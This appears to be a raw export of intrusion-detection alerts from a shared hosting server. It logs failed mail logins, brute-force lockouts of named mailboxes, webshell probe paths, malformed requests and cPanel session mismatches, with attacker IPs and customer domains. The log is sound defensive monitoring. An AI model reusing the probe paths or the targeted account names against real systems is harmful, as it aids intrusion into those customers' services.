country_id: 2510769
description:
2026-01-30 21:50:03 dovecot_login authenticator failed for H=(56IaXn3) [185.230.124.69]:62192: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.166.102.186
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&sub=18 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.7.78.226
country_id: 2510769
description:
2026-01-30 21:50:59 dovecot_login authenticator failed for H=226.red-88-7-78.staticip.rima-tde.net [88.7.78.226]:55996: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-30 21:51:03 +0800] info [whostmgrd] 103.214.234.27 - root "GET /cpsess4516104758/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [122.165.41.227] != Current IP Address [103.214.234.27]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-01-30 21:51:06 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:29562: 535 Incorrect authentication data (set_id=fadilah)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:51:36 dovecot_login authenticator failed for H=(pyynUN) [185.230.124.69]:49346: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.127.73
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/news-detail.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.237.71.202
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=192351 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:51:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.167.51.24
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=942713 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.166
country_id: 2750405
description:
2026-01-30 21:51:27 1046303 [Warning] Aborted connection 1046303 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.166' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.81.55.119
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=222966 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:51:14 dovecot_login authenticator failed for H=(hn29Um) [178.16.54.22]:52115: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.91.109
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=7&page_id=1&sub=42 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:51:04 dovecot_login authenticator failed for H=(9lyZAZ) [185.230.124.69]:61926: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.190.32.167
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=336637 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:52:18 dovecot_login authenticator failed for H=(3Gx1lY) [185.230.124.69]:53105: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:52:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.149.252
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=1&page_id=1&sub=35 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.161.93.203
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=527241 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.163.215.50
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=1&sub=37 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.190.173
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=4&page_id=1&sub=3 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.222.54
country_id: 1269750
description:
2026-01-30 21:53:01 dovecot_login authenticator failed for H=(nsg-corporate-72.152.185.122.airtel.in) [122.187.222.54]:40968: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.166
country_id: 2750405
description:
2026-01-30 21:53:01 1046385 [Warning] Aborted connection 1046385 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.166' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:52:22 dovecot_login authenticator failed for H=(eGyj2D131) [178.16.54.22]:53357: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.99.52.202
country_id: 1835841
description:
2026-01-30 21:52:45 dovecot_login authenticator failed for H=([222.99.52.202]) [222.99.52.202]:57333: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.63.56
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=260012 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:53:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-30 21:53:17 +0800] info [whostmgrd] 103.214.234.27 - root "GET /cpsess4516104758/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [122.165.41.227] != Current IP Address [103.214.234.27]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:53:08 dovecot_login authenticator failed for H=(lFDoMfyH) [185.230.124.69]:62119: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:53:15 dovecot_login authenticator failed for H=(VCrUZuLO) [178.16.54.22]:53021: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 21:53:16 dovecot_login authenticator failed for H=(aNV6Lzdxy) [178.16.54.138]:51952: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.62.205.232
country_id: 2750405
description:
2026-01-30 21:53:34 dovecot_login authenticator failed for H=77-62-205-232.mobile.kpn.net [77.62.205.232]:44384: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.14.31.158
country_id: 3017382
description:
2026-01-30 21:53:29 dovecot_plain authenticator failed for H=laubervilliers-657-1-93-158.w80-14.abo.wanadoo.fr (panned) [80.14.31.158]:41457: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.113.86
country_id: 1269750
description:
2026-01-30 21:54:24 dovecot_login authenticator failed for H=([125.17.17.201]) [27.123.113.86]:34714: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.158.30.193
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/ResponseHeaderBagTest.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:54:16 dovecot_login authenticator failed for H=(ErhNZb) [185.230.124.69]:49383: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:54:29 dovecot_login authenticator failed for H=(XmkqQoMhPV) [185.230.124.69]:49306: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:54:05 dovecot_login authenticator failed for H=(CH04fuU5lL) [178.16.54.22]:52585: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-30 21:54:14 +0800] info [whostmgrd] 103.214.234.27 - root "GET /cpsess4516104758/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [122.165.41.227] != Current IP Address [103.214.234.27]


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:54:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.218.57.50
country_id: 3996063
description:
2026-01-30 21:54:12 dovecot_login authenticator failed for H=(customer-187-218-57-50.uninet-ide.com.mx) [187.218.57.50]:53881: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 21:54:18 dovecot_login authenticator failed for H=(HupyDIL9KJ) [178.16.54.138]:49601: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:54:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:55:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:55:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 21:55:48 dovecot_login authenticator failed for H=(XTfGgVGNo) [178.16.54.138]:63736: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:55:11 dovecot_login authenticator failed for H=(AtmrE0FZk) [185.230.124.69]:60306: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:55:19 dovecot_login authenticator failed for H=(j6uo81) [178.16.54.22]:65118: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-30 21:55:27 +0800] info [whostmgrd] 103.214.234.27 - root "GET /cpsess4516104758/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [122.165.41.227] != Current IP Address [103.214.234.27]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.226.217.82
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/teamwork.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 21:56:52 dovecot_login authenticator failed for H=(NfdOkLAKm1) [178.16.54.138]:56814: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.82.246
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&page_id=1&sub=26 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.255.188.120
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=697884 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 21:56:05 dovecot_login authenticator failed for H=(Jf8yox5dB) [2.58.56.77]:50505: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:56:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.17.233.154
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=268452 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.127.204
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=135803 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:56:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bentey has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-30 21:56:28 +0800] info [whostmgrd] 103.214.234.27 - root "GET /cpsess4516104758/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [122.165.41.227] != Current IP Address [103.214.234.27]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:56:19 dovecot_login authenticator failed for H=(pheF6YTqNs) [185.230.124.69]:49663: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:56:24 dovecot_login authenticator failed for H=(WKLxhMI) [178.16.54.22]:57460: 535 Incorrect authentication data (set_id=bentey)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.232.219.60
country_id: 1733045
description:
[2026-01-30 21:56:06 +0800] info [webmaild] 103.232.219.60 - teressa@smartcable.com.my "POST /cpsess0429253840/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [180.75.72.60] != Current IP Address [103.232.219.60]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:57:06 dovecot_login authenticator failed for H=(tDojY4) [178.16.54.22]:63919: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:57:12 dovecot_login authenticator failed for H=(ZmvjSwoBg) [185.230.124.69]:50711: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.85.214
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=740138 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:57:03 dovecot_login authenticator failed for H=(2XFhe6Wm1) [185.230.124.69]:61531: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:57:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bentey has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:57:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 21:57:22 dovecot_login authenticator failed for H=(ay9LoDTN) [2.58.56.77]:49587: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 21:57:50 dovecot_login authenticator failed for H=(3SfdCwq) [178.16.54.138]:65350: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:58:17 dovecot_login authenticator failed for H=(b7eGiy) [185.230.124.69]:58623: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 21:58:22 dovecot_login authenticator failed for H=(7hHUH5sc) [178.16.54.138]:55750: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.134.124
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=224566 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.190.139
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/oriental.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:58:02 dovecot_login authenticator failed for H=(CjMxcDHv4U) [178.16.54.22]:52552: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.27.69.235
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=444310 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.237.177.239
country_id: 1562822
description:
2026-01-30 21:58:34 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [171.237.177.239]:14140: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 21:58:10 dovecot_login authenticator failed for H=(gVSsWHu) [2.58.56.77]:63537: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:58:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.228.48
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.214.117.130
country_id: 953987
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=27 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:58:00 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.91.179.26
country_id: 732800
description:
2026-01-30 21:58:01 dovecot_login authenticator failed for H=(213-91-179-26.btc-net.bg) [213.91.179.26]:48600: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-30 21:58:49 +0800] info [whostmgrd] 103.214.234.27 - root "GET /cpsess4516104758/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [122.165.41.227] != Current IP Address [103.214.234.27]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-30 21:59:03 +0800] info [whostmgrd] 103.214.234.27 - root "GET /cpsess4516104758/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [122.165.41.227] != Current IP Address [103.214.234.27]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 21:59:14 dovecot_login authenticator failed for H=(KD8UTg) [178.16.54.138]:49561: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 21:59:15 dovecot_login authenticator failed for H=(f5nO1sRFn9) [2.58.56.77]:60721: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 21:59:39 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:59:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:59:17 dovecot_login authenticator failed for H=(1NqE0MYor) [178.16.54.22]:52944: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.178.192.172
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=794941 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:59:07 dovecot_login authenticator failed for H=(ew9H9Uu) [185.230.124.69]:63700: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:00:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 104.143.84.54
country_id: 6252001
domain: www.mssa.org.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.181.3.12
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.95.177.220
country_id: 6252001
domain: www.agpc.org.my
description:
